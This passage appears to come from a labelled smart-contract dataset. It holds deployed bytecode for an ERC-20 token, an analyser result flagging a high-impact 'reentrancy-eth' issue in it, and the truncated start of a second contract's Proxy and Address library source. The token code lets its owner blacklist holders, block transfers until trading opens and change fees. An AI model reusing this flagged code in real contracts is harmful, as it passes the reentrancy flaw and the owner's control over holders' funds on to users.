ffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906132c4565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc061165e565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e61165e565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d8161211a565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612186565b9050919050565b610ca961165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906132c4565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee261165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906132c4565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600481526020017f434f434b00000000000000000000000000000000000000000000000000000000815250905090565b610fd761165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906132c4565b60405180910390fd5b8060188190555050565b61107661165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906132c4565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113961113261165e565b8484611831565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a461165e565b73ffffffffffffffffffffffffffffffffffffffff16148061121a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120261165e565b73ffffffffffffffffffffffffffffffffffffffff16145b61122357600080fd5b600061122e30610c50565b9050611239816121f4565b50565b61124461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906132c4565b60405180910390fd5b60005b838390508110156113705781600560008686858181106112f7576112f66132e4565b5b905060200201602081019061130c9190613063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136890613342565b9150506112d4565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906132c4565b60405180910390fd5b8060178190555050565b6114a461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611528906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611598906133fd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd9061348f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90613521565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118249190612f94565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611898906135b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890613645565b60405180910390fd5b60008111611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906136d7565b60405180910390fd5b61195c610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ca575061199a610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db557601560149054906101000a900460ff16611a59576119eb610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613769565b60405180910390fd5b5b601654811115611a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a95906137d5565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b425750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7890613867565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e5760175481611be384610c50565b611bed9190613887565b10611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c249061394f565b60405180910390fd5b5b6000611c3930610c50565b9050600060185482101590506016548210611c545760165491505b808015611c6c575060158054906101000a900460ff16155b8015611cc65750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cde5750601560169054906101000a900460ff165b8015611d345750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d8a5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db257611d98826121f4565b60004790506000811115611db057611daf4761211a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f0e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f1d57600090506120a4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fe057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561208b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120a357600a54600c81905550600b54600d819055505b5b6120b08484848461247a565b50505050565b60008383111582906120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f59190612e3d565b60405180910390fd5b506000838561210d919061396f565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612182573d6000803e3d6000fd5b5050565b60006006548211156121cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c490613a15565b60405180910390fd5b60006121d76124a7565b90506121ec81846124d290919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222b5761222a612bcb565b5b6040519080825280602002602001820160405280156122595781602001602082028036833780820191505090505b5090503081600081518110612271576122706132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561231357600080fd5b505afa158015612327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234b9190613a4a565b8160018151811061235f5761235e6132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611666565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242a959493929190613b70565b600060405180830381600087803b15801561244457600080fd5b505af1158015612458573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124885761248761251c565b5b61249384848461255f565b806124a1576124a061272a565b5b50505050565b60008060006124b461273e565b915091506124cb81836124d290919063ffffffff16565b9250505090565b600061251483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061279d565b905092915050565b6000600c5414801561253057506000600d54145b1561253a5761255d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061257187612800565b9550955095509550955095506125cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b081612910565b6126ba84836129cd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127179190612f94565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612772670de0b6b3a76400006006546124d290919063ffffffff16565b82101561279057600654670de0b6b3a7640000935093505050612799565b81819350935050505b9091565b600080831182906127e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127db9190612e3d565b60405180910390fd5b50600083856127f39190613bf9565b9050809150509392505050565b600080600080600080600080600061281d8a600c54600d54612a07565b925092509250600061282d6124a7565b905060008060006128408e878787612a9d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b6565b905092915050565b60008082846128c19190613887565b905083811015612906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fd90613c76565b60405180910390fd5b8091505092915050565b600061291a6124a7565b905060006129318284612b2690919063ffffffff16565b905061298581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129e28260065461286890919063ffffffff16565b6006819055506129fd816007546128b290919063ffffffff16565b6007819055505050565b600080600080612a336064612a25888a612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a5d6064612a4f888b612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a8682612a78858c61286890919063ffffffff16565b61286890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ab68589612b2690919063ffffffff16565b90506000612acd8689612b2690919063ffffffff16565b90506000612ae48789612b2690919063ffffffff16565b90506000612b0d82612aff858761286890919063ffffffff16565b61286890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b395760009050612b9b565b60008284612b479190613c96565b9050828482612b569190613bf9565b14612b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8d90613d62565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c0382612bba565b810181811067ffffffffffffffff82111715612c2257612c21612bcb565b5b80604052505050565b6000612c35612ba1565b9050612c418282612bfa565b919050565b600067ffffffffffffffff821115612c6157612c60612bcb565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ca282612c77565b9050919050565b612cb281612c97565b8114612cbd57600080fd5b50565b600081359050612ccf81612ca9565b92915050565b6000612ce8612ce384612c46565b612c2b565b90508083825260208201905060208402830185811115612d0b57612d0a612c72565b5b835b81811015612d345780612d208882612cc0565b845260208401935050602081019050612d0d565b5050509392505050565b600082601f830112612d5357612d52612bb5565b5b8135612d63848260208601612cd5565b91505092915050565b600060208284031215612d8257612d81612bab565b5b600082013567ffffffffffffffff811115612da057612d9f612bb0565b5b612dac84828501612d3e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612def578082015181840152602081019050612dd4565b83811115612dfe576000848401525b50505050565b6000612e0f82612db5565b612e198185612dc0565b9350612e29818560208601612dd1565b612e3281612bba565b840191505092915050565b60006020820190508181036000830152612e578184612e04565b905092915050565b6000819050919050565b612e7281612e5f565b8114612e7d57600080fd5b50565b600081359050612e8f81612e69565b92915050565b60008060408385031215612eac57612eab612bab565b5b6000612eba85828601612cc0565b9250506020612ecb85828601612e80565b9150509250929050565b60008115159050919050565b612eea81612ed5565b82525050565b6000602082019050612f056000830184612ee1565b92915050565b6000819050919050565b6000612f30612f2b612f2684612c77565b612f0b565b612c77565b9050919050565b6000612f4282612f15565b9050919050565b6000612f5482612f37565b9050919050565b612f6481612f49565b82525050565b6000602082019050612f7f6000830184612f5b565b92915050565b612f8e81612e5f565b82525050565b6000602082019050612fa96000830184612f85565b92915050565b600080600060608486031215612fc857612fc7612bab565b5b6000612fd686828701612cc0565b9350506020612fe786828701612cc0565b9250506040612ff886828701612e80565b9150509250925092565b600060ff82169050919050565b61301881613002565b82525050565b6000602082019050613033600083018461300f565b92915050565b61304281612c97565b82525050565b600060208201905061305d6000830184613039565b92915050565b60006020828403121561307957613078612bab565b5b600061308784828501612cc0565b91505092915050565b61309981612ed5565b81146130a457600080fd5b50565b6000813590506130b681613090565b92915050565b6000602082840312156130d2576130d1612bab565b5b60006130e0848285016130a7565b91505092915050565b6000602082840312156130ff576130fe612bab565b5b600061310d84828501612e80565b91505092915050565b600080600080608085870312156131305761312f612bab565b5b600061313e87828801612e80565b945050602061314f87828801612e80565b935050604061316087828801612e80565b925050606061317187828801612e80565b91505092959194509250565b600080fd5b60008083601f84011261319857613197612bb5565b5b8235905067ffffffffffffffff8111156131b5576131b461317d565b5b6020830191508360208202830111156131d1576131d0612c72565b5b9250929050565b6000806000604084860312156131f1576131f0612bab565b5b600084013567ffffffffffffffff81111561320f5761320e612bb0565b5b61321b86828701613182565b9350935050602061322e868287016130a7565b9150509250925092565b6000806040838503121561324f5761324e612bab565b5b600061325d85828601612cc0565b925050602061326e85828601612cc0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132ae602083612dc0565b91506132b982613278565b602082019050919050565b600060208201905081810360008301526132dd816132a1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334d82612e5f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133805761337f613313565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133e7602683612dc0565b91506133f28261338b565b604082019050919050565b60006020820190508181036000830152613416816133da565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613479602483612dc0565b91506134848261341d565b604082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061350b602283612dc0565b9150613516826134af565b604082019050919050565b6000602082019050818103600083015261353a816134fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061359d602583612dc0565b91506135a882613541565b604082019050919050565b600060208201905081810360008301526135cc81613590565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061362f602383612dc0565b915061363a826135d3565b604082019050919050565b6000602082019050818103600083015261365e81613622565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136c1602983612dc0565b91506136cc82613665565b604082019050919050565b600060208201905081810360008301526136f0816136b4565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613753603f83612dc0565b915061375e826136f7565b604082019050919050565b6000602082019050818103600083015261378281613746565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137bf601c83612dc0565b91506137ca82613789565b602082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613851602383612dc0565b915061385c826137f5565b604082019050919050565b6000602082019050818103600083015261388081613844565b9050919050565b600061389282612e5f565b915061389d83612e5f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138d2576138d1613313565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613939602383612dc0565b9150613944826138dd565b604082019050919050565b600060208201905081810360008301526139688161392c565b9050919050565b600061397a82612e5f565b915061398583612e5f565b92508282101561399857613997613313565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139ff602a83612dc0565b9150613a0a826139a3565b604082019050919050565b60006020820190508181036000830152613a2e816139f2565b9050919050565b600081519050613a4481612ca9565b92915050565b600060208284031215613a6057613a5f612bab565b5b6000613a6e84828501613a35565b91505092915050565b6000819050919050565b6000613a9c613a97613a9284613a77565b612f0b565b612e5f565b9050919050565b613aac81613a81565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ae781612c97565b82525050565b6000613af98383613ade565b60208301905092915050565b6000602082019050919050565b6000613b1d82613ab2565b613b278185613abd565b9350613b3283613ace565b8060005b83811015613b63578151613b4a8882613aed565b9750613b5583613b05565b925050600181019050613b36565b5085935050505092915050565b600060a082019050613b856000830188612f85565b613b926020830187613aa3565b8181036040830152613ba48186613b12565b9050613bb36060830185613039565b613bc06080830184612f85565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c0482612e5f565b9150613c0f83612e5f565b925082613c1f57613c1e613bca565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c60601b83612dc0565b9150613c6b82613c2a565b602082019050919050565b60006020820190508181036000830152613c8f81613c53565b9050919050565b6000613ca182612e5f565b9150613cac83612e5f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ce557613ce4613313565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d4c602183612dc0565b9150613d5782613cf0565b604082019050919050565b60006020820190508181036000830152613d7b81613d3f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220831c39fbca0e7380953dfb0de8e6ebcf9a6c6809c19252409ed1c89eb4994aaf64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 2,440 |
0xac6fE9aA6b996D15f23E2E9a384fE64607bba7d5
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
//
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
//
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
